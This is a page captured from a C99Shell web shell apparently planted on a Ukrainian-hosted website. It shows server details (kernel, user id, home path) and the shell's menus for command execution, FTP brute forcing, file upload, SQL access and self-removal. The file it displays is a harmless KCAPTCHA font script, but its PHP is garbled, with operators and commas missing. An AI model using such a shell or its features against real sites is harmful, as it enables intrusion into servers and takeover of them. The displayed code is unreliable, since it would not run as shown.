!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/musvin.pp.ua/modules-alien/kcaptcha/util/   drwxr-xr-x
Free 116.74 GB of 200.55 GB (58.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     font_preparer.php (1.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?

# preparing PNG fonts to use with KCAPTCHA.
# reads files from folder "../fonts0", scans for symbols ans spaces and writes new font file with cached symbols positions to filder "../fonts"

# comment or remove next line for using (commented for security reason):
exit();

if (
$handle opendir('../fonts0')) {
    while (
false !== ($file readdir($handle))) {
        if (
$file == "." || $file == "..") {
            continue;
        }

        
$img=imagecreatefrompng('../fonts0/'.$file);
        
imageAlphaBlending($imgfalse);
        
imageSaveAlpha($imgtrue);
        
$transparent=imagecolorallocatealpha($img,255,255,255,127);
        
$white=imagecolorallocate($img,255,255,255);
        
$black=imagecolorallocate($img,0,0,0);
        
$gray=imagecolorallocate($img,100,100,100);

        for(
$x=0;$x<imagesx($img);$x++){
            
$space=true;
            
$column_opacity=0;
            for(
$y=1;$y<imagesy($img);$y++){
                
$rgb ImageColorAt($img$x$y);
                
$opacity=$rgb>>24;
                if(
$opacity!=127){
                    
$space=false;
                }
                
$column_opacity+=127-$opacity;
            }
            if(!
$space){
                
imageline($img,$x,0,$x,0,$column_opacity<200?$gray:$black);
            }
        }
        
imagepng($img,'../fonts/'.$file);
    }
    
closedir($handle);
}
?> 

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0208 ]--